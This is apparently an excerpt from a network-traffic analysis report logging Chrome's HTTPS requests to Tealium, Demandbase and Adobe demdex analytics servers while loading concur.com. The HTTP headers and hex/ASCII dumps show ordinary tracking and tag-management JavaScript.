2024-10-03 08:41:40 UTC	2563	IN	Data Raw: 3b 7d 65 6c 73 65 7b 66 62 71 28 74 72 61 63 6b 69 6e 67 5f 74 79 70 65 2c 5f 65 76 65 6e 74 2c 75 2e 72 65 6d 6f 76 65 5f 65 6d 70 74 79 28 67 29 29 3b 7d 7d 7d 7d 0a 75 74 61 67 2e 44 42 28 22 73 65 6e 64 3a 31 30 30 37 3a 43 41 4c 4c 42 41 43 4b 3a 43 4f 4d 50 4c 45 54 45 22 29 3b 7d 3b 75 2e 63 61 6c 6c 42 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 61 74 61 3d 7b 7d 3b 75 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3d 74 72 75 65 3b 77 68 69 6c 65 28 64 61 74 61 3d 75 2e 71 75 65 75 65 2e 73 68 69 66 74 28 29 29 7b 75 2e 64 61 74 61 3d 64 61 74 61 2e 64 61 74 61 3b 75 2e 6c 6f 61 64 65 72 5f 63 62 28 29 3b 7d 7d 3b 69 66 28 75 2e 69 6e 69 74 69 61 6c 69 7a 65 64 29 7b 75 2e 6c 6f 61 64 65 72 5f 63 62 28 29 3b 7d 65 6c 73 65 20 69 66 28 21 75 Data Ascii: ;}else{fbq(tracking_type,_event,u.remove_empty(g));}}}}utag.DB("send:1007:CALLBACK:COMPLETE");};u.callBack=function(){var data={};u.initialized=true;while(data=u.queue.shift()){u.data=data.data;u.loader_cb();}};if(u.initialized){u.loader_cb();}else if(!u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49929	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1195.js?utv=ut4.39.202206021450 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3856 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:43 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: OL_Tmx4IpsjUMSGtH0mZasiHONvnIFyK Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "ecc5a1d7bc07c5d2a0a8233adf2194be" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 6ee264f4aa2ef518b13a5a8305e8080e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: BI7gafCvgqk25ZDlLvXnwe3bz66ECNlTggtkWZ0lLhWiRZXd8MlpwQ== Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	3856	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 39 35 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 5f 6c 69 6e 6b 65 64 69 6e 3d 5f 6c 69 6e 6b 65 64 69 6e 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 5f 6c 69 6e 6b 65 64 69 6e 5f 64 61 74 61 5f 70 61 72 74 6e 65 72 5f 69 64 73 3d 77 69 6e 64 6f 77 2e 5f 6c 69 6e 6b 65 64 69 6e 5f 64 61 74 61 5f 70 61 72 74 6e 65 72 5f 69 64 73 7c 7c 5b 5d 3b 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e Data Ascii: //tealium universal tag - utag.1195 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.var _linkedin=_linkedin\|\|{};window._linkedin_data_partner_ids=window._linkedin_data_partner_ids\|\|[];try{(function(id,loader){var u={"id":id};utag.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49930	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1036.js?utv=ut4.39.202007161705 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 5115 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:20 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 5jJlF3sjlJOeXVCPvQ4oWbFvQvlst2O2 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:40 GMT ETag: "31b2ec1645180170f377cc305731183f" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d9636724d333576f23b5fcfb40d7830c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 6aiDQyM8PFgp5RR9JiJnLFuaFMco4gcEu88JIQJgkSKdBi9fyJ4ejg== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	5115	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 30 33 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1036 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49933	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	923	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&d_mid=77086837030265396271481667617469483305&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=concuruser%011486f2f9-7a8c-4199-e491-6192cc1ca748%011&ts=1727944897751 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
2024-10-03 08:41:40 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:40 GMT Content-Type: application/json;charset=utf-8 Content-Length: 4321 Connection: close X-TID: w/zM21NrRRE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-2-v065-07235e290.edge-irl1.demdex.com 3 ms set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:40 UTC	4321	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 37 37 30 38 36 38 33 37 30 33 30 32 36 35 33 39 36 32 37 31 34 38 31 36 36 37 36 31 37 34 36 39 34 38 33 33 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e Data Ascii: {"d_mid":"77086837030265396271481667617469483305","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49934	18.245.46.25	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	535	OUT	GET /4d7mpJHG.min.js HTTP/1.1 Host: scripts.demandbase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	850	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 62924 Connection: close Date: Thu, 03 Oct 2024 08:41:42 GMT Last-Modified: Tue, 27 Aug 2024 19:14:29 GMT ETag: "d3b5033f2c5a8936cd51cf5b9cb58bf8" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 x-amz-version-id: AGAG_Q0Zw8bYr_e1Vhq0OwNCkDn7Tgob Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 b83db9a9904a8f97beb31f810804b6e4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P9 X-Amz-Cf-Id: 2gwhhZQcT92MQZ8hj_3XNMP-s6DuvPWjboSyDI4SS1s3YlUg_jQ9EA== Strict-Transport-Security: max-age=63072000; includeSubDomains; preload permissions-policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), interest-cohort=()
2024-10-03 08:41:41 UTC	6396	IN	Data Raw: 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 7c 7c 7b 6c 6f 67 28 29 7b 7d 2c 64 65 62 75 67 28 29 7b 7d 7d 2c 69 3d 77 69 6e 64 6f 77 2e 4a 53 4f 4e 7c 7c 7b 73 74 72 69 6e 67 69 66 79 28 29 7b 7d 2c 70 61 72 73 65 28 29 7b 7d 7d 2c 6c 3d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 63 6f 6e 73 6f 6c 65 3d 65 2c 74 68 69 73 2e 4a 53 4f 4e 3d 69 7d 69 6e 64 65 78 4f 66 28 65 2c 69 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 72 72 61 79 2e 69 6e 64 65 78 4f 66 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 3f 65 2e 69 6e 64 65 78 4f 66 Data Ascii: (()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf
2024-10-03 08:41:41 UTC	1141	IN	Data Raw: 72 79 7b 72 65 74 75 72 6e 20 30 3c 6c 2e 69 6e 64 65 78 4f 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2c 22 4d 53 49 45 20 22 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 30 7d 7d 62 36 34 45 6e 63 6f 64 65 55 6e 69 63 6f 64 65 28 65 29 7b 72 65 74 75 72 6e 20 62 74 6f 61 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2e 72 65 70 6c 61 63 65 28 2f 25 28 5b 30 2d 39 41 2d 46 5d 7b 32 7d 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 61 72 73 65 49 6e 74 28 22 30 78 22 2b 69 2c 31 36 29 29 7d 29 29 7d 67 65 6e 65 72 61 74 65 44 65 70 72 65 63 61 74 69 6f 6e 4d 65 73 73 61 67 65 28 65 2c 69 29 7b 72 Data Ascii: ry{return 0<l.indexOf(window.navigator.userAgent,"MSIE ")}catch(e){return!0}}b64EncodeUnicode(e){return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g,function(e,i){return String.fromCharCode(parseInt("0x"+i,16))}))}generateDeprecationMessage(e,i){r
2024-10-03 08:41:41 UTC	16384	IN	Data Raw: 5c 64 2b 29 29 3f 28 3f 3a 5c 3a 28 5c 64 2b 29 29 3f 24 2f 2e 65 78 65 63 28 65 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 28 5c 29 5d 2f 67 2c 22 22 29 29 29 5b 31 5d 2c 65 5b 32 5d 7c 7c 76 6f 69 64 20 30 2c 65 5b 33 5d 7c 7c 76 6f 69 64 20 30 5d 7d 5f 70 61 72 73 65 49 6e 74 28 65 2c 69 3d 31 30 29 7b 69 66 28 65 29 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 65 2c 69 29 7d 70 61 72 73 65 56 38 4f 72 49 45 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 63 6b 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 65 2e 6d 61 74 63 68 28 61 2e 43 48 52 4f 4d 45 5f 49 45 5f 53 54 41 43 4b 5f 52 45 47 45 58 50 29 7d 2c 74 68 69 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 Data Ascii: \d+))?(?:\:(\d+))?$/.exec(e.replace(/[]/g,"")))[1],e[2]\|\|void 0,e[3]\|\|void 0]}_parseInt(e,i=10){if(e)return parseInt(e,i)}parseV8OrIE(e){return e.stack.split("\n").filter(function(e){return!!e.match(a.CHROME_IE_STACK_REGEXP)},this).map(function(e){var
2024-10-03 08:41:41 UTC	1024	IN	Data Raw: 6c 6c 2c 65 76 65 6e 74 4e 61 6d 65 3a 22 44 65 6d 61 6e 64 62 61 73 65 5f 45 76 65 6e 74 22 7d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3d 6c 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 68 69 73 2e 44 45 46 41 55 4c 54 5f 43 4f 4e 46 49 47 55 52 41 54 49 4f 4e 29 2c 74 68 69 73 2e 63 61 63 68 65 64 45 76 65 6e 74 73 3d 5b 5d 2c 74 68 69 73 2e 70 6f 6c 6c 43 6f 75 6e 74 3d 30 2c 74 68 69 73 2e 67 54 79 70 65 3d 22 22 2c 74 68 69 73 2e 5f 63 45 76 65 6e 74 3d 74 68 69 73 2e 73 65 6e 64 45 76 65 6e 74 2c 74 68 69 73 2e 5f 73 65 74 75 70 3d 28 29 3d 3e 28 73 75 70 65 72 2e 6d 65 72 67 65 43 6f 6e 66 69 67 73 28 65 7c 7c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 43 6f 6e 66 69 67 2e 47 6f 6f 67 6c 65 5f 41 6e 61 6c 79 74 69 63 73 29 2c 73 Data Ascii: ll,eventName:"Demandbase_Event"},this.configuration=l.assign({},this.DEFAULT_CONFIGURATION),this.cachedEvents=[],this.pollCount=0,this.gType="",this._cEvent=this.sendEvent,this._setup=()=>(super.mergeConfigs(e\|\|window.Demandbase.Config.Google_Analytics),s
2024-10-03 08:41:41 UTC	16384	IN	Data Raw: 73 65 6e 64 45 76 65 6e 74 28 29 3a 20 77 69 6e 64 6f 77 2e 67 61 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 20 6f 72 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 46 61 69 6c 65 64 20 74 6f 20 73 65 6e 64 20 43 75 73 74 6f 6d 20 55 41 20 45 76 65 6e 74 3a 24 7b 65 7d 2f 24 7b 69 7d 2f 60 2b 74 29 2c 67 2e 6c 6f 67 28 60 73 65 6e 64 45 76 65 6e 74 28 29 3a 20 53 65 6e 74 20 43 75 73 74 6f 6d 20 55 41 20 45 76 65 6e 74 3a 24 7b 65 7d 2f 24 7b 69 7d 2f 60 2b 74 29 29 7d 5f 77 61 69 74 46 6f 72 47 41 54 72 61 63 6b 65 72 73 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 70 6f 6c 6c 69 6e 67 2e 68 61 73 42 65 65 6e 49 6e 69 74 69 61 6c 69 7a 65 64 3d 21 31 2c 28 77 69 6e 64 6f 77 2e 67 61 26 26 77 69 6e 64 6f 77 2e 67 61 2e 67 65 74 Data Ascii: sendEvent(): window.ga is not defined or not a function. Failed to send Custom UA Event:${e}/${i}/`+t),g.log(`sendEvent(): Sent Custom UA Event:${e}/${i}/`+t))}_waitForGATrackers(){this.configuration.polling.hasBeenInitialized=!1,(window.ga&&window.ga.get
2024-10-03 08:41:41 UTC	10618	IN	Data Raw: 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 65 6e 61 62 6c 65 64 26 26 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 43 6f 6e 66 69 67 2e 66 6f 72 6d 73 26 26 28 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 65 6e 61 62 6c 65 64 3d 21 30 29 7d 7d 63 6c 61 73 73 20 49 20 65 78 74 65 6e 64 73 20 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 65 29 2c 74 68 69 73 2e 44 45 46 41 55 4c 54 5f 43 4f 4e 46 49 47 55 52 41 54 49 4f 4e 3d 7b 65 6e 61 62 6c 65 64 3a 21 30 7d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3d 7b 7d 2c 74 68 69 73 2e 5f 73 65 74 75 70 3d 28 29 3d 3e 28 73 75 70 65 72 2e 6d 65 72 67 65 43 6f 6e 66 69 67 73 28 74 68 69 73 2e 44 45 46 41 55 4c 54 5f 43 4f Data Ascii: is.configuration.enabled&&void 0!==window.Demandbase.Config.forms&&(this.configuration.enabled=!0)}}class I extends t{constructor(e){super(e),this.DEFAULT_CONFIGURATION={enabled:!0},this.configuration={},this._setup=()=>(super.mergeConfigs(this.DEFAULT_CO
2024-10-03 08:41:41 UTC	1398	IN	Data Raw: 22 3d 3d 3d 74 68 69 73 2e 6c 6f 63 61 74 69 6f 6e 73 2e 73 74 61 74 75 73 7c 7c 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 32 21 3d 3d 65 2e 6c 65 6e 67 74 68 29 26 26 74 68 69 73 2e 6c 6f 63 61 74 69 6f 6e 73 2e 73 68 6f 77 55 6e 6b 6e 6f 77 6e 7c 7c 30 3d 3d 3d 74 68 69 73 2e 6c 6f 63 61 74 69 6f 6e 73 2e 63 6f 75 6e 74 72 79 43 6f 64 65 73 2e 6c 65 6e 67 74 68 7c 7c 2d 31 3c 6c 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 6c 6f 63 61 74 69 6f 6e 73 2e 63 6f 75 6e 74 72 79 43 6f 64 65 73 2c 65 29 29 7d 67 65 74 43 6f 6d 70 61 6e 79 50 72 6f 66 69 6c 65 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 49 70 41 70 69 26 26 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 49 70 41 70 69 2e 43 6f 6d Data Ascii: "===this.locations.status\|\|("string"!=typeof e\|\|2!==e.length)&&this.locations.showUnknown\|\|0===this.locations.countryCodes.length\|\|-1<l.indexOf(this.locations.countryCodes,e))}getCompanyProfile(){return window.Demandbase.IpApi&&window.Demandbase.IpApi.Com
2024-10-03 08:41:41 UTC	9000	IN	Data Raw: 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e 73 5b 65 5d 29 29 3b 65 2b 2b 29 69 66 28 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 43 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e 73 2e 6c 65 6e 67 74 68 2d 31 3d 3d 3d 65 29 72 65 74 75 72 6e 20 67 2e 6c 6f 67 28 60 44 65 6d 61 6e 64 62 61 73 65 2e 69 6e 69 74 69 61 6c 69 7a 65 3a 20 44 6f 6d 61 69 6e 20 24 7b 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 20 2d 20 6e 6f 74 20 69 6e 20 61 6c 6c 6f 77 65 64 20 6c 69 73 74 60 29 2c 74 68 69 73 3b 69 66 28 21 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 5f 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 65 29 7b 74 68 69 73 2e 5f 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 3d 21 30 2c 77 69 6e 64 6f 77 2e Data Ascii: nfig.allowedDomains[e]));e++)if(window.Demandbase.Config.allowedDomains.length-1===e)return g.log(`Demandbase.initialize: Domain ${document.location.href} - not in allowed list`),this;if(!window.Demandbase._isInitialized\|\|e){this._isInitialized=!0,window.
2024-10-03 08:41:41 UTC	579	IN	Data Raw: 62 61 73 65 2e 73 65 74 43 6f 6e 66 69 67 28 44 65 6d 61 6e 64 62 61 73 65 2c 22 43 6f 6e 66 69 67 2e 45 76 65 6e 74 2e 73 65 72 76 65 72 22 2c 22 68 74 74 70 73 3a 2f 2f 65 74 2e 63 6f 6d 70 61 6e 79 2d 74 61 72 67 65 74 2e 63 6f 6d 22 29 7d 63 61 74 63 68 28 65 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 26 26 2d 31 3c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 22 64 62 5f 6c 6f 67 67 69 6e 67 3d 74 72 75 65 22 29 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 44 65 6d 61 6e 64 62 61 73 65 3a 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 22 2c 65 29 2c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 45 72 72 6f 72 52 65 70 6f 72 74 65 72 3d 6e 65 77 20 Data Ascii: base.setConfig(Demandbase,"Config.Event.server","https://et.company-target.com")}catch(e){window.location.search&&-1<window.location.search.indexOf("db_logging=true")&&console.error("Demandbase: Configuration error",e),window.Demandbase.ErrorReporter=new

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49931	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1197.js?utv=ut4.39.202202111748 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3864 Connection: close Date: Thu, 03 Oct 2024 08:41:42 GMT Last-Modified: Thu, 26 Sep 2024 17:13:47 GMT ETag: "6e1743a5beac51c0b5e7dd5e661a44f1" x-amz-server-side-encryption: AES256 x-amz-version-id: fAx_U1zl5WXDIPM7Hd3yCG8U0SO.chYY Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 af1c2193a818b5824fd85ddd651620a8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 8hbCaVpo_SgqV-g4keq7mxDsTaMzNjndxcOGgCkbXso9uaspjYoapQ== Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	3864	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 39 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 